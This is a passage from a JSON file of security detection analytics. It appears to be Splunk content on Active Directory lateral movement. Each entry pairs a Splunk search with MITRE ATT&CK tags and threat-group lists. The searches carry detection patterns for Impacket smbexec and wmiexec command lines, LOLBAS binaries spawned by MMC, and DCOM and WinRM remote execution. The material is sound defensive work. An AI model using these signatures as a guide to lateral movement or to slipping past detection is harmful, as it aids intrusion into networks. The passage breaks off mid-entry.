Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Impacket Lateral Movement smbexec CommandLine Parameters", - "description": "The following analytic identifies suspicious command-line parameters associated with the use of Impacket's smbexec.py for lateral movement. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns indicative of Impacket tool usage. This activity is significant as both Red Teams and adversaries use Impacket for remote code execution and lateral movement. If confirmed malicious, this activity could allow attackers to execute commands on remote endpoints, potentially leading to unauthorized access, data exfiltration, or further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=cmd.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | where match(process, \"(?i)cmd\\.exe\\s+\\/Q\\s+\\/c\") AND match(process,\"(?i)echo\\s+cd\") AND match(process, \"(?i)\\\\__output\") AND match(process, \"(?i)C:\\\\\\\\Windows\\\\\\\\[a-zA-Z]{1,8}\\\\.bat\") AND match(process, \"\\\\\\\\127\\.0\\.0\\.1\\\\.*\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `impacket_lateral_movement_smbexec_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-277A", - "Data Destruction", - "Graceful Wipe Out Attack", - "Industroyer2", - "Prestige Ransomware", - "Volt Typhoon", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious command-line parameters on $dest$ may represent lateral movement using smbexec.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Impacket Lateral Movement WMIExec Commandline Parameters", - "description": "The following analytic detects the use of Impacket's `wmiexec.py` tool for lateral movement by identifying specific command-line parameters. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on processes spawned by `wmiprvse.exe` with command-line patterns indicative of Impacket usage. This activity is significant as Impacket tools are commonly used by adversaries for remote code execution and lateral movement within a network. If confirmed malicious, this could allow attackers to execute arbitrary commands on remote systems, potentially leading to further compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=wmiprvse.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | where match(process, \"(?i)cmd\\.exe\\s+\\/Q\\s+\\/c\") AND match(process, \"\\\\\\\\127\\.0\\.0\\.1\\\\.*\") AND match(process, \"__\\\\d{1,10}\\\\.\\\\d{1,10}\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `impacket_lateral_movement_wmiexec_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-277A", - "Data Destruction", - "Graceful Wipe Out Attack", - "Industroyer2", - "Prestige Ransomware", - "Volt Typhoon", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious command-line parameters on $dest$ may represent lateral movement using wmiexec.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Interactive Session on Remote Endpoint with PowerShell", - "description": "The following analytic detects the use of the `Enter-PSSession` cmdlet to establish an interactive session on a remote endpoint via the WinRM protocol. It leverages PowerShell Script Block Logging (EventCode=4104) to identify this activity by searching for specific script block text patterns. This behavior is significant as it may indicate lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this activity could allow attackers to execute commands remotely, potentially leading to further compromise of the network and unauthorized access to sensitive information.", - "search": "`powershell` EventCode=4104 (ScriptBlockText=\"*Enter-PSSession*\" AND ScriptBlockText=\"*-ComputerName*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `interactive_session_on_remote_endpoint_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An interactive session was opened on a remote endpoint from $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Mmc LOLBAS Execution Process Spawn", - "description": "The following analytic identifies `mmc.exe` spawning a LOLBAS execution process. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where `mmc.exe` is the parent process. This activity is significant because adversaries can abuse the DCOM protocol and MMC20 COM object to execute malicious code, using Windows native binaries documented by the LOLBAS project. If confirmed malicious, this behavior could indicate lateral movement, allowing attackers to execute code remotely, potentially leading to further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=mmc.exe) (Processes.process_name IN (\"Regsvcs.exe\", \"Ftp.exe\", \"OfflineScannerShell.exe\", \"Rasautou.exe\", \"Schtasks.exe\", \"Xwizard.exe\", \"Dllhost.exe\", \"Pnputil.exe\", \"Atbroker.exe\", \"Pcwrun.exe\", \"Ttdinject.exe\",\"Mshta.exe\", \"Bitsadmin.exe\", \"Certoc.exe\", \"Ieexec.exe\", \"Microsoft.Workflow.Compiler.exe\", \"Runscripthelper.exe\", \"Forfiles.exe\", \"Msbuild.exe\", \"Register-cimprovider.exe\", \"Tttracer.exe\", \"Ie4uinit.exe\", \"Bash.exe\", \"Hh.exe\", \"SettingSyncHost.exe\", \"Cmstp.exe\", \"Mmc.exe\", \"Stordiag.exe\", \"Scriptrunner.exe\", \"Odbcconf.exe\", \"Extexport.exe\", \"Msdt.exe\", \"WorkFolders.exe\", \"Diskshadow.exe\", \"Mavinject.exe\", \"Regasm.exe\", \"Gpscript.exe\", \"Rundll32.exe\", \"Regsvr32.exe\", \"Msiexec.exe\", \"Wuauclt.exe\", \"Presentationhost.exe\", \"Wmic.exe\", \"Runonce.exe\", \"Syncappvpublishingserver.exe\", \"Verclsid.exe\", \"Infdefaultinstall.exe\", \"Explorer.exe\", \"Installutil.exe\", \"Netsh.exe\", \"Wab.exe\", \"Dnscmd.exe\", \"At.exe\", \"Pcalua.exe\", \"Msconfig.exe\")) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `mmc_lolbas_execution_process_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Mmc.exe spawned a LOLBAS process on $dest$.", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1218.014", - "mitre_attack_technique": "MMC", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Possible Lateral Movement PowerShell Spawn", - "description": "The following analytic detects the spawning of a PowerShell process as a child or grandchild of commonly abused processes like services.exe, wmiprsve.exe, svchost.exe, wsmprovhost.exe, and mmc.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process names, as well as command-line executions. This activity is significant as it often indicates lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this behavior could allow attackers to execute code remotely, escalate privileges, or persist within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=wmiprvse.exe OR Processes.parent_process_name=services.exe OR Processes.parent_process_name=svchost.exe OR Processes.parent_process_name=wsmprovhost.exe OR Processes.parent_process_name=mmc.exe) (Processes.process_name=powershell.exe OR (Processes.process_name=cmd.exe AND Processes.process=*powershell.exe*) OR Processes.process_name=pwsh.exe OR (Processes.process_name=cmd.exe AND Processes.process=*pwsh.exe*)) NOT (Processes.process IN (\"*c:\\windows\\ccm\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `possible_lateral_movement_powershell_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell process was spawned as a child process of typically abused processes on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218.014", - "mitre_attack_technique": "MMC", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Powershell Remote Services Add TrustedHost", - "description": "The following analytic detects the execution of a PowerShell script that modifies the 'TrustedHosts' configuration via EventCode 4104. It leverages PowerShell Script Block Logging to identify commands targeting WSMan settings, specifically those altering or concatenating trusted hosts. This activity is significant as it can indicate attempts to manipulate remote connection settings, potentially allowing unauthorized remote access. If confirmed malicious, this could enable attackers to establish persistent remote connections, bypass security protocols, and gain unauthorized access to sensitive systems and data.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*WSMan:\\\\localhost\\\\Client\\\\TrustedHosts*\" ScriptBlockText IN (\"* -Value *\", \"* -Concatenate *\") | rename Computer as dest, UserID as user | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText dest user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_remote_services_add_trustedhost_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "a powershell script adding a remote trustedhost on $dest$ .", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Remote Desktop Process Running On System", - "description": "The following analytic detects the execution of the remote desktop process (mstsc.exe) on systems where it is not typically run. This detection leverages data from Endpoint Detection and Response (EDR) agents, filtering out systems categorized as common RDP sources. This activity is significant because unauthorized use of mstsc.exe can indicate lateral movement or unauthorized remote access attempts. If confirmed malicious, this could allow an attacker to gain remote control of a system, potentially leading to data exfiltration, privilege escalation, or further network compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=*mstsc.exe AND Processes.dest_category!=common_rdp_source by Processes.dest Processes.user Processes.process | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | `remote_desktop_process_running_on_system_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Hidden Cobra Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Remote Process Instantiation via DCOM and PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with arguments used to start a process on a remote endpoint by abusing the DCOM protocol, specifically targeting ShellExecute and ExecuteShellCommand. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and command-line executions. This activity is significant as it indicates potential lateral movement and remote code execution attempts by adversaries. If confirmed malicious, this could allow attackers to execute arbitrary code remotely, escalate privileges, and move laterally within the network, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` (Processes.process=\"*Document.ActiveView.ExecuteShellCommand*\" OR Processes.process=\"*Document.Application.ShellExecute*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `remote_process_instantiation_via_dcom_and_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A process was started on a remote endpoint from $dest by abusing DCOM using PowerShell.exe", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Remote Process Instantiation via DCOM and PowerShell Script Block", - "description": "The following analytic detects the execution of PowerShell commands that initiate a process on a remote endpoint via the DCOM protocol. It leverages PowerShell Script Block Logging (EventCode=4104) to identify the use of ShellExecute and ExecuteShellCommand. This activity is significant as it may indicate lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this behavior could allow attackers to execute arbitrary code on remote systems, potentially leading to further compromise and persistence within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText=\"*Document.Application.ShellExecute*\" OR ScriptBlockText=\"*Document.ActiveView.ExecuteShellCommand*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `remote_process_instantiation_via_dcom_and_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A process was started on a remote endpoint from $Computer$ by abusing WMI using PowerShell.exe", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Remote Process Instantiation via WinRM and PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with arguments used to start a process on a remote endpoint via the WinRM protocol, specifically targeting the `Invoke-Command` cmdlet. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process telemetry. This activity is significant as it may indicate lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this could allow attackers to execute arbitrary code on remote systems, potentially leading to further compromise and lateral spread within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` (Processes.process=\"*Invoke-Command*\" AND Processes.process=\"*-ComputerName*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `remote_process_instantiation_via_winrm_and_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A process was started on a remote endpoint from $dest by abusing WinRM using PowerShell.exe", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Remote Process Instantiation via WinRM and PowerShell Script Block", - "description": "The following analytic detects the execution of PowerShell commands that use the `Invoke-Command` cmdlet to start a process on a remote endpoint via the WinRM protocol. It leverages PowerShell Script Block Logging (EventCode=4104) to identify such activities. This behavior is significant as it may indicate lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this activity could allow attackers to execute arbitrary code on remote systems, potentially leading to further compromise and persistence within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText=\"*Invoke-Command*\" AND ScriptBlockText=\"*-ComputerName*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | 